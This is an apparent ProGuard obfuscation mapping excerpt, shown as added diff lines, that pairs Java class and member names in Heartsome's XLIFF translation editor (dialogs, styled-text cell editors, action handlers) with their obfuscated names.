+net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.TagNumberRequest -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.y: + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.swt.widgets.Shell _parent -> Xl + org.eclipse.swt.widgets.Text text -> text + org.eclipse.swt.widgets.Button okButton -> okButton + int maxValue -> Xm + int value -> value + org.eclipse.swt.widgets.Display display -> display + void show() -> show + int getNumber() -> getNumber +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.TagNumberRequest$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.z: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.TagNumberRequest this$0 -> Xn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.TagNumberRequest$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.aa: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.TagNumberRequest this$0 -> Xn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.ab: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + int rowIndex -> rowIndex + org.eclipse.swt.widgets.Button btnAdd -> KP + org.eclipse.swt.widgets.Button btnEdit -> Xo + org.eclipse.swt.widgets.Button btnDelete -> Xp + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initTable() -> initTable + void initListener() -> initListener + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean validData(java.lang.String) -> eC + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog) -> a + void access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog) -> b + org.eclipse.jface.viewers.TableViewer access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog) -> c + int access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog) -> d +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.ac: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog this$0 -> Xq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.ad: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog this$0 -> Xq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.ae: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog this$0 -> Xq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.af: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog this$0 -> Xq + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor: + net.sourceforge.nattable.NatTable parent -> aiw + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor sourceEditor -> aix + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor targetEditor -> aiy + int sourceRowPosition -> sourceRowPosition + int sourceRowIndex -> sourceRowIndex + int targetRowPosition -> targetRowPosition + int targetRowIndex -> targetRowIndex + void activateCellEditors(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor,net.sourceforge.nattable.NatTable) -> activateCellEditors + void commit(boolean) -> commit + void close() -> close + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor getFocusCellEditor() -> getFocusCellEditor + void setCellEditorForceFocusByIndex(int,int) -> setCellEditorForceFocusByIndex + void setCellEditorForceFocus(int,int) -> setCellEditorForceFocus + void setSelectionText(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor,int,int) -> setSelectionText + void synchronizeRowHeight() -> synchronizeRowHeight + void recalculateCellsBounds() -> recalculateCellsBounds + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor getTargetStyledEditor() -> getTargetStyledEditor + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor getSourceStyledEditor() -> getSourceStyledEditor + void refrushCellsEditAbility() -> refrushCellsEditAbility + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor getSourceEditor() -> getSourceEditor + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor getTargetEditor() -> getTargetEditor + net.sourceforge.nattable.NatTable getParent() -> getParent +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor: + java.lang.String type -> type + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor cellEditor -> Zv + org.eclipse.swt.widgets.Control activeCellEditorControl -> aiz + net.sourceforge.nattable.edit.ICellEditHandler editHandler -> aiA + int columnPosition -> columnPosition + int rowPosition -> rowPosition + int columnIndex -> columnIndex + int rowIndex -> rowIndex + net.sourceforge.nattable.data.validate.IDataValidator dataValidator -> aiB + java.lang.Object originalCanonicalValue -> aiC + net.sourceforge.nattable.style.IStyle cellStyle -> aiD + org.eclipse.swt.graphics.Rectangle editorBounds -> aiE + void activeCurrentEditor(org.eclipse.swt.widgets.Composite) -> activeCurrentEditor + boolean isFocus() -> isFocus + void forceFocus() -> forceFocus + boolean isValid() -> isValid + boolean validateCanonicalValue() -> validateCanonicalValue + java.lang.Object getCanonicalValue() -> getCanonicalValue + void close() -> close + void highlightedTerms(java.util.List) -> highlightedTerms + void highLightedErrorWord(java.lang.String,java.util.List) -> highLightedErrorWord + void refreshErrorWordsStyle(java.util.List) -> refreshErrorWordsStyle + org.eclipse.swt.custom.StyleRange getErrorWordRange(org.eclipse.swt.graphics.TextStyle,int,int) -> a + org.eclipse.swt.graphics.Rectangle getEditorBounds() -> getEditorBounds + org.eclipse.swt.graphics.Point computeSize() -> computeSize + void setEditorBounds(org.eclipse.swt.graphics.Rectangle,boolean) -> setEditorBounds + java.lang.String getType() -> getType + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor getCellEditor() -> getCellEditor + org.eclipse.swt.widgets.Control getActiveCellEditorControl() -> getActiveCellEditorControl + net.sourceforge.nattable.edit.ICellEditHandler getEditHandler() -> getEditHandler + int getColumnPosition() -> getColumnPosition + int getRowPosition() -> getRowPosition + int getColumnIndex() -> getColumnIndex + int getRowIndex() -> getRowIndex + net.sourceforge.nattable.style.IStyle getCellStyle() -> getCellStyle + java.lang.Object getOriginalCanonicalValue() -> getOriginalCanonicalValue + void setColumnPosition(int) -> setColumnPosition + void setRowPosition(int) -> setRowPosition + java.util.List calculateTermsStyleRange(char[],char[],org.eclipse.swt.graphics.TextStyle) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl: + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger spellTrigger -> aiF + java.lang.String ENDREGEX -> aiG + void activeSourceAndTargetCell(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> activeSourceAndTargetCell + void tgtTextFirstRealTimeSpellCheck(java.lang.String,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor) -> a + void tgtTextRealTimeSpellCheck(java.lang.String,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor) -> b + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor activeCell(net.sourceforge.nattable.viewport.ViewportLayer,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable,net.sourceforge.nattable.config.IConfigRegistry,int,int,int,java.lang.String) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger access$0() -> mX +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl$1: + org.eclipse.swt.custom.StyledText val$text -> aiH + java.lang.String val$tgtLang -> SQ + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor val$targetEditor -> aiI + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor cellEditor -> Zv + net.sourceforge.nattable.layer.ILayer layer -> aiJ + int[] $SWITCH_TABLE$net$sourceforge$nattable$selection$SelectionLayer$MoveDirectionEnum -> aiK + boolean commit(net.sourceforge.nattable.selection.SelectionLayer$MoveDirectionEnum,boolean) -> commit + int[] $SWITCH_TABLE$net$sourceforge$nattable$selection$SelectionLayer$MoveDirectionEnum() -> nd +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant: + java.lang.String SOURCE -> SOURCE + java.lang.String TARGET -> TARGET + java.lang.String CURRENT_TEXT -> CURRENT_TEXT + java.lang.String ALL_TEXT -> ALL_TEXT +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor: + net.sourceforge.nattable.edit.editor.EditorSelectionEnum selectionMode -> Xr + net.heartsome.cat.ts.ui.innertag.SegmentViewer viewer -> Xs + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + java.lang.String cellType -> Xt + boolean close -> Xu + java.util.HashSet closingListeners -> Xv + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler actionHandler -> Xw + java.lang.String source -> source + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager editableManager -> Xx + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor hsCellEditor -> aiL + java.util.Map mouseState -> apU + org.eclipse.swt.custom.VerifyKeyListener readOnly_VerifyKey -> Xy + org.eclipse.swt.custom.VerifyKeyListener edit_VerifyKey -> Xz + org.eclipse.swt.events.TraverseListener edit_Traverse -> XA + org.eclipse.swt.events.KeyListener movedKeyListener -> aiM + net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean canonicalValue -> XB + java.lang.String getCellType() -> getCellType + void setSelectionMode(net.sourceforge.nattable.edit.editor.EditorSelectionEnum) -> setSelectionMode + net.sourceforge.nattable.edit.editor.EditorSelectionEnum getSelectionMode() -> getSelectionMode + void addClosingListener(org.eclipse.swt.widgets.Listener) -> addClosingListener + void removeClosingListener(org.eclipse.swt.widgets.Listener) -> removeClosingListener + boolean isEditable() -> isEditable + boolean isApprovedOrLocked() -> isApprovedOrLocked + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager getEditableManager() -> getEditableManager + org.eclipse.swt.widgets.Control activateCell(org.eclipse.swt.widgets.Composite,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor) -> a + void addMouselistener(org.eclipse.swt.custom.StyledText) -> a + boolean getMouseState() -> getMouseState + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler getActionHandler() -> getActionHandler + void setSource(java.lang.String) -> setSource + void autoResize() -> autoResize + void showUneditableMessage() -> showUneditableMessage + void selectText() -> selectText + org.eclipse.swt.custom.StyledText createTextControl(org.eclipse.swt.widgets.Composite) -> N + void initStyle(org.eclipse.swt.custom.StyledText,net.sourceforge.nattable.style.IStyle) -> a + java.lang.Object getCanonicalValue() -> getCanonicalValue + void setCanonicalValue(java.lang.Object) -> setCanonicalValue + void insertCanonicalValue(java.lang.Object) -> insertCanonicalValue + void close() -> close + boolean isClosed() -> isClosed + int getRealSplitOffset() -> getRealSplitOffset + int getRealSplitOffset(int) -> getRealSplitOffset + void clearTags() -> clearTags + net.heartsome.cat.ts.ui.innertag.ISegmentViewer getSegmentViewer() -> getSegmentViewer + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed + java.lang.String getSelectedOriginalText() -> getSelectedOriginalText + java.lang.String getSelectedPureText() -> getSelectedPureText + org.eclipse.swt.widgets.Control activateCell(org.eclipse.swt.widgets.Composite,java.lang.Object,java.lang.Character,net.sourceforge.nattable.data.convert.IDisplayConverter,net.sourceforge.nattable.style.IStyle,net.sourceforge.nattable.data.validate.IDataValidator,net.sourceforge.nattable.edit.ICellEditHandler,int,int) -> activateCell + int getColumnPosition() -> getColumnPosition + int getRowPosition() -> getRowPosition + int getColumnIndex() -> getColumnIndex + int getRowIndex() -> getRowIndex + boolean access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> a + org.eclipse.swt.custom.VerifyKeyListener access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> b + org.eclipse.swt.events.TraverseListener access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> c + org.eclipse.swt.custom.VerifyKeyListener access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> d + java.lang.String access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> e + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> g + java.util.Map access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> f + void access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor) -> h +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void setupReadOnlyMode() -> kw + void setupEditMode() -> kx + void judgeEditable() -> judgeEditable + void checkWidget() -> checkWidget +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void verifyKey(org.eclipse.swt.events.VerifyEvent) -> verifyKey +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$3: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void verifyKey(org.eclipse.swt.events.VerifyEvent) -> verifyKey +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$4: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void keyTraversed(org.eclipse.swt.events.TraverseEvent) -> keyTraversed +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$5: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$6 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$6: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$7 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$7: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$8 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor$8: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor this$0 -> XC + void documentChanged(org.eclipse.jface.text.DocumentEvent) -> documentChanged + void documentAboutToBeChanged(org.eclipse.jface.text.DocumentEvent) -> documentAboutToBeChanged +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagDisplayConverter -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagDisplayConverter: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.sourceforge.nattable.NatTable table -> XF + net.sourceforge.nattable.layer.cell.LayerCell currentCell -> XG + void setCell(net.sourceforge.nattable.layer.cell.LayerCell) -> setCell + java.lang.Object canonicalToDisplayValue(java.lang.Object) -> canonicalToDisplayValue + java.lang.Object displayToCanonicalValue(java.lang.Object) -> displayToCanonicalValue +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagStyleManager -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagStyleManager: + net.heartsome.cat.common.innertag.TagStyle tagStyle -> aB + java.util.HashSet tagStyleChangeListeners -> XH + net.heartsome.cat.common.innertag.TagStyle getTagStyle() -> getTagStyle + void setTagStyle(net.heartsome.cat.common.innertag.TagStyle) -> setTagStyle + void addTagStyleChangeListener(org.eclipse.swt.widgets.Listener) -> addTagStyleChangeListener + void removeTagStyleChangeListener(org.eclipse.swt.widgets.Listener) -> removeTagStyleChangeListener +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.Test -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.Test: + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TextPainterWithPadding -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TextPainterWithPadding: + int topPadding -> XI + int rightPadding -> XJ + int bottomPadding -> XK + int leftPadding -> XL + int tabSize -> tabSize + int tabWidth -> aks + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder placeHolderBuilder -> ajG + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> aE + java.util.Map temporaryMap -> XM + java.util.Map fontDataCache -> XN + boolean wrapText -> XQ + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable editor -> akt + net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory innerTagFactory -> ajH + org.eclipse.swt.graphics.Font font -> font + int ascent -> ascent + int descent -> descent + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell + int getPreferredWidth(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredWidth + void setupGCFromConfig(org.eclipse.swt.graphics.GC,net.sourceforge.nattable.style.IStyle) -> setupGCFromConfig + org.eclipse.swt.graphics.Font getFont() -> getFont + void setFont(org.eclipse.swt.graphics.Font) -> setFont + java.lang.String convertDataType(net.sourceforge.nattable.layer.cell.LayerCell,net.sourceforge.nattable.config.IConfigRegistry) -> convertDataType + org.eclipse.swt.graphics.TextLayout getCellTextLayout(net.sourceforge.nattable.layer.cell.LayerCell) -> a + void appendNonprintingStyle(org.eclipse.swt.graphics.TextLayout) -> a + int getWidthFromCache(org.eclipse.swt.graphics.GC,java.lang.String) -> e + org.eclipse.swt.graphics.Font getFont(int) -> getFont + org.eclipse.swt.graphics.FontData[] getFontData(int) -> af + java.util.List calculateTermsStyleRange(char[],char[],org.eclipse.swt.graphics.TextStyle) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$CutActionHandler textCutAction -> XT + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$CopyActionHandler textCopyAction -> XU + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$PasteActionHandler textPasteAction -> XV + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$DeleteActionHandler textDeleteAction -> XW + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$SelectAllActionHandler textSelectAllAction -> XX + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$UndoActionHandler textUndoAction -> XY + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$RedoActionHandler textRedoAction -> XZ + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$FindReplaceActionHandler textFindReplaceAction -> Ya + org.eclipse.ui.IActionBars actionBar -> Yb + net.heartsome.cat.ts.ui.xliffeditor.nattable.MixUndoBean undoBean -> akO + org.eclipse.jface.action.IAction deleteAction -> Yc + org.eclipse.jface.action.IAction cutAction -> Yd + org.eclipse.jface.action.IAction copyAction -> Ye + org.eclipse.jface.action.IAction pasteAction -> Yf + org.eclipse.jface.action.IAction selectAllAction -> Yg + org.eclipse.jface.action.IAction undoAction -> Yh + org.eclipse.jface.action.IAction redoAction -> Yi + org.eclipse.jface.action.IAction findReplaceAction -> Yj + org.eclipse.jface.util.IPropertyChangeListener cutActionListener -> Yk + org.eclipse.jface.util.IPropertyChangeListener copyActionListener -> Yl + org.eclipse.jface.util.IPropertyChangeListener pasteActionListener -> Ym + org.eclipse.jface.util.IPropertyChangeListener deleteActionListener -> Yn + org.eclipse.jface.util.IPropertyChangeListener selectAllActionListener -> Yo + org.eclipse.jface.util.IPropertyChangeListener undoActionListener -> Yp + org.eclipse.jface.util.IPropertyChangeListener redoActionListener -> Yq + org.eclipse.jface.util.IPropertyChangeListener findReplaceActionListener -> Yr + net.heartsome.cat.ts.ui.innertag.SegmentViewer viewer -> Xs + void addTextViewer(net.heartsome.cat.ts.ui.innertag.SegmentViewer) -> addTextViewer + void updateGlobalActionHandler() -> updateGlobalActionHandler + void dispose() -> dispose + void removeTextViewer() -> removeTextViewer + void setCopyAction(org.eclipse.jface.action.IAction) -> setCopyAction + void setCutAction(org.eclipse.jface.action.IAction) -> setCutAction + void setUndoAction(org.eclipse.jface.action.IAction) -> setUndoAction + void setRedoAction(org.eclipse.jface.action.IAction) -> setRedoAction + void setPasteAction(org.eclipse.jface.action.IAction) -> setPasteAction + void setSelectAllAction(org.eclipse.jface.action.IAction) -> setSelectAllAction + void setDeleteAction(org.eclipse.jface.action.IAction) -> setDeleteAction + void setFindReplaceAction(org.eclipse.jface.action.IAction) -> setFindReplaceAction + void updateActionsEnableState() -> updateActionsEnableState + net.heartsome.cat.ts.ui.innertag.SegmentViewer access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> a + org.eclipse.jface.action.IAction access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> b + net.heartsome.cat.ts.ui.xliffeditor.nattable.MixUndoBean access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> c + org.eclipse.jface.action.IAction access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> d + org.eclipse.jface.action.IAction access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> e + org.eclipse.jface.action.IAction access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> f + org.eclipse.jface.action.IAction access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> g + org.eclipse.jface.action.IAction access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> h + org.eclipse.jface.action.IAction access$8(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> i + org.eclipse.jface.action.IAction access$9(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> j + org.eclipse.ui.IActionBars access$10(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> k + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$FindReplaceActionHandler access$11(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler) -> l +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void partBroughtToTop(org.eclipse.ui.IWorkbenchPartReference) -> partBroughtToTop +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + net.heartsome.cat.common.ui.listener.PartAdapter2 val$partListener2 -> Yt + void pageOpened(org.eclipse.ui.IWorkbenchPage) -> pageOpened + void pageClosed(org.eclipse.ui.IWorkbenchPage) -> pageClosed + void pageActivated(org.eclipse.ui.IWorkbenchPage) -> pageActivated +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$3: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$4: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$CopyActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$CopyActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$CutActionHandler -> 